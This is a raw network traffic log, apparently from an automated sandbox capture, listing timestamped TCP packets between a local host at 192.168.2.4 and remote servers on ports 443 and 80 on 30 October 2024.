Oct 30, 2024 20:14:06.099433899 CET	49812	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.099466085 CET	443	49812	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.143537998 CET	443	49808	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.144186974 CET	49808	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.144201040 CET	443	49808	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.144929886 CET	49808	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.144937038 CET	443	49808	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.273782969 CET	443	49808	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.273869038 CET	443	49808	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.273938894 CET	49808	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.274151087 CET	49808	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.274171114 CET	443	49808	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.274183989 CET	49808	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.274188995 CET	443	49808	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.277103901 CET	49813	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.277157068 CET	443	49813	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.277254105 CET	49813	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.277409077 CET	49813	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.277425051 CET	443	49813	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.673362970 CET	443	49809	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.673773050 CET	49809	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.673819065 CET	443	49809	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.674232006 CET	49809	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.674238920 CET	443	49809	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.724463940 CET	443	49810	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.724807978 CET	49810	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.724818945 CET	443	49810	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.725228071 CET	49810	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.725231886 CET	443	49810	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.754597902 CET	443	49811	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.755106926 CET	49811	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.755120039 CET	443	49811	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.755558014 CET	49811	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.755563974 CET	443	49811	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.814713001 CET	443	49809	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.814783096 CET	443	49809	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.814867020 CET	49809	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.815036058 CET	49809	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.815099955 CET	443	49809	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.815138102 CET	49809	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.815155029 CET	443	49809	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.817720890 CET	49814	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.817759991 CET	443	49814	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.817837954 CET	49814	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.817976952 CET	49814	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.817987919 CET	443	49814	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.832151890 CET	443	49812	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.832509995 CET	49812	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.832525015 CET	443	49812	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.832952023 CET	49812	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.832959890 CET	443	49812	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.863305092 CET	443	49810	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.863372087 CET	443	49810	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.863434076 CET	49810	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.863571882 CET	49810	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.863591909 CET	443	49810	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.863603115 CET	49810	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.863609076 CET	443	49810	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.865968943 CET	49815	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.866003036 CET	443	49815	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.866079092 CET	49815	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.866200924 CET	49815	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.866214991 CET	443	49815	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.885595083 CET	443	49811	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.885921955 CET	443	49811	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.885984898 CET	49811	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.886028051 CET	49811	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.886038065 CET	443	49811	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.886049032 CET	49811	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.886056900 CET	443	49811	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.888181925 CET	49816	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.888221979 CET	443	49816	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.888298035 CET	49816	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.888432980 CET	49816	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.888442993 CET	443	49816	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.971191883 CET	443	49812	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.971303940 CET	443	49812	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.971384048 CET	49812	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.971559048 CET	49812	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.971580029 CET	443	49812	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.971590042 CET	49812	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.971596003 CET	443	49812	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.974118948 CET	49817	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.974154949 CET	443	49817	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.974229097 CET	49817	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.974488974 CET	49817	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.974502087 CET	443	49817	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:07.012859106 CET	443	49813	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:07.013400078 CET	49813	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:07.013428926 CET	443	49813	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:07.013865948 CET	49813	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:07.013875961 CET	443	49813	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:07.142635107 CET	443	49813	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:07.142718077 CET	443	49813	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:07.142790079 CET	49813	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:07.142924070 CET	49813	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:07.142946005 CET	443	49813	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:07.142957926 CET	49813	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:07.142966032 CET	443	49813	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:07.145792007 CET	49818	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:07.145836115 CET	443	49818	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:07.145915985 CET	49818	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:07.146085978 CET	49818	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:07.146097898 CET	443	49818	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:07.551414967 CET	443	49814	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:07.552265882 CET	49814	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:07.552299023 CET	443	49814	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:07.552759886 CET	49814	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:07.552764893 CET	443	49814	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:07.595288038 CET	443	49815	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:07.595809937 CET	49815	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:07.595846891 CET	443	49815	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:07.596275091 CET	49815	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:07.596283913 CET	443	49815	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:07.634362936 CET	443	49816	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:07.634980917 CET	49816	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:07.635015011 CET	443	49816	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:07.635529995 CET	49816	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:07.635544062 CET	443	49816	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:07.682054043 CET	443	49814	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:07.683468103 CET	443	49814	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:07.683577061 CET	49814	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:07.683615923 CET	49814	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:07.683615923 CET	49814	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:07.683636904 CET	443	49814	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:07.683654070 CET	443	49814	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:07.686382055 CET	49819	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:07.686429024 CET	443	49819	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:07.686523914 CET	49819	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:07.686676025 CET	49819	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:07.686692953 CET	443	49819	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:07.741657972 CET	443	49817	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:07.742234945 CET	49817	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:07.742254019 CET	443	49817	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:07.742690086 CET	49817	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:07.742695093 CET	443	49817	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:07.755146027 CET	443	49815	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:07.755259991 CET	443	49815	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:07.755321980 CET	49815	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:07.755357027 CET	49815	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:07.755378008 CET	443	49815	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:07.755388975 CET	49815	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:07.755394936 CET	443	49815	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:07.758378029 CET	49820	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:07.758464098 CET	443	49820	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:07.758568048 CET	49820	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:07.758783102 CET	49820	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:07.758836031 CET	443	49820	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:07.772752047 CET	443	49816	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:07.773190975 CET	443	49816	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:07.773257971 CET	49816	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:07.773298025 CET	49816	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:07.773320913 CET	443	49816	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:07.773334026 CET	49816	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:07.773341894 CET	443	49816	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:07.775546074 CET	49821	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:07.775644064 CET	443	49821	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:07.775729895 CET	49821	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:07.775840044 CET	49821	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:07.775875092 CET	443	49821	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:07.848761082 CET	49724	80	192.168.2.4	93.184.221.240
Oct 30, 2024 20:14:07.858697891 CET	80	49724	93.184.221.240	192.168.2.4
Oct 30, 2024 20:14:07.858772993 CET	49724	80	192.168.2.4	93.184.221.240
Oct 30, 2024 20:14:07.874511957 CET	443	49817	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:07.874792099 CET	443	49817	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:07.874844074 CET	49817	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:07.874882936 CET	49817	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:07.874896049 CET	443	49817	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:07.874906063 CET	49817	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:07.874911070 CET	443	49817	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:07.877429008 CET	49822	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:07.877532959 CET	443	49822	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:07.877643108 CET	49822	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:07.877801895 CET	49822	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:07.877835035 CET	443	49822	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:07.896538973 CET	443	49818	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:07.897018909 CET	49818	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:07.897046089 CET	443	49818	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:07.897597075 CET	49818	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:07.897603035 CET	443	49818	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.029448986 CET	443	49818	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.029766083 CET	443	49818	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.029994011 CET	49818	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:08.029994011 CET	49818	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:08.029994011 CET	49818	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:08.032577991 CET	49823	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:08.032669067 CET	443	49823	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.032752991 CET	49823	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:08.032922983 CET	49823	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:08.032957077 CET	443	49823	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.333110094 CET	49818	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:08.333148003 CET	443	49818	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.420291901 CET	443	49819	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.420732975 CET	49819	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:08.420764923 CET	443	49819	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.421164989 CET	49819	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:08.421171904 CET	443	49819	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.505577087 CET	443	49820	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.506100893 CET	49820	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:08.506159067 CET	443	49820	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.506547928 CET	49820	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:08.506561995 CET	443	49820	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.547940969 CET	443	49821	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.548533916 CET	49821	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:08.548576117 CET	443	49821	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.548996925 CET	49821	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:08.549009085 CET	443	49821	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.550988913 CET	443	49819	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.551043987 CET	443	49819	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.551110983 CET	49819	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:08.551263094 CET	49819	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:08.551286936 CET	443	49819	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.551300049 CET	49819	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:08.551306009 CET	443	49819	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.554006100 CET	49824	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:08.554039955 CET	443	49824	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.554116964 CET	49824	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:08.554270029 CET	49824	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:08.554277897 CET	443	49824	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.610698938 CET	443	49822	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.611212015 CET	49822	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:08.611237049 CET	443	49822	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.611665964 CET	49822	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:08.611674070 CET	443	49822	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.636763096 CET	443	49820	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.636888981 CET	443	49820	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.636969090 CET	49820	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:08.637106895 CET	49820	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:08.637140989 CET	443	49820	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.637160063 CET	49820	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:08.637167931 CET	443	49820	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.639632940 CET	49825	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:08.639688015 CET	443	49825	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.639770031 CET	49825	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:08.639919996 CET	49825	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:08.639934063 CET	443	49825	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.685101032 CET	443	49821	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.685918093 CET	443	49821	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.686007977 CET	49821	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:08.686055899 CET	49821	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:08.686055899 CET	49821	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:08.686079979 CET	443	49821	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.686093092 CET	443	49821	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.688395977 CET	49826	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:08.688427925 CET	443	49826	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.688494921 CET	49826	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:08.688638926 CET	49826	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:08.688644886 CET	443	49826	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.741574049 CET	443	49822	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.741650105 CET	443	49822	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.741811991 CET	49822	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:08.741869926 CET	49822	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:08.741869926 CET	49822	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:08.741898060 CET	443	49822	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.741920948 CET	443	49822	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.744183064 CET	49827	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:08.744256973 CET	443	49827	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.744345903 CET	49827	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:08.744476080 CET	49827	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:08.744496107 CET	443	49827	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.780474901 CET	443	49823	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.780930042 CET	49823	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:08.780989885 CET	443	49823	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.781291962 CET	49823	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:08.781305075 CET	443	49823	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.914940119 CET	443	49823	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.915193081 CET	443	49823	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.915263891 CET	49823	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:08.915388107 CET	49823	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:08.915412903 CET	443	49823	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.915433884 CET	49823	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:08.915441036 CET	443	49823	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.917973995 CET	49828	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:08.918001890 CET	443	49828	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:08.918093920 CET	49828	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:08.918245077 CET	49828	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:08.918251038 CET	443	49828	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:09.285605907 CET	443	49824	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:09.286257029 CET	49824	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:09.286268950 CET	443	49824	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:09.286704063 CET	49824	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:09.286714077 CET	443	49824	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:09.378099918 CET	443	49825	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:09.378931046 CET	49825	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:09.379008055 CET	443	49825	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:09.379270077 CET	49825	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:09.379283905 CET	443	49825	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:09.422342062 CET	443	49824	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:09.422414064 CET	443	49824	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:09.422518969 CET	49824	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:09.422749996 CET	49824	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:09.422764063 CET	443	49824	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:09.422772884 CET	49824	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:09.422777891 CET	443	49824	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:09.425894022 CET	49829	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:09.425947905 CET	443	49829	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:09.426050901 CET	49829	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:09.426250935 CET	49829	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:09.426270008 CET	443	49829	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:09.467005014 CET	443	49826	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:09.467664957 CET	49826	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:09.467690945 CET	443	49826	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:09.468147039 CET	49826	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:09.468153000 CET	443	49826	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:09.514286041 CET	443	49827	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:09.514801979 CET	49827	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:09.514847040 CET	443	49827	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:09.515345097 CET	49827	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:09.515352011 CET	443	49827	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:09.599463940 CET	443	49825	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:09.599704027 CET	443	49825	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:09.599803925 CET	49825	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:09.599903107 CET	49825	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:09.599903107 CET	49825	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:09.599960089 CET	443	49826	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:09.599986076 CET	443	49825	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:09.599999905 CET	443	49825	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:09.600179911 CET	443	49826	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:09.600222111 CET	49826	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:09.600394011 CET	49826	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:09.600411892 CET	443	49826	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:09.600424051 CET	49826	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:09.600429058 CET	443	49826	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:09.603178978 CET	49830	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:09.603221893 CET	443	49830	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:09.603293896 CET	49830	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:09.603854895 CET	49831	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:09.603898048 CET	443	49831	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:09.603981972 CET	49831	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:09.604003906 CET	49830	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:09.604017019 CET	443	49830	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:09.604095936 CET	49831	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:09.604111910 CET	443	49831	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:09.649975061 CET	443	49827	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:09.651051998 CET	443	49827	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:09.651143074 CET	49827	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:09.651226997 CET	49827	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:09.651226997 CET	49827	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:09.651278973 CET	443	49827	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:09.651305914 CET	443	49827	13.107.246.45	192.168.2.4
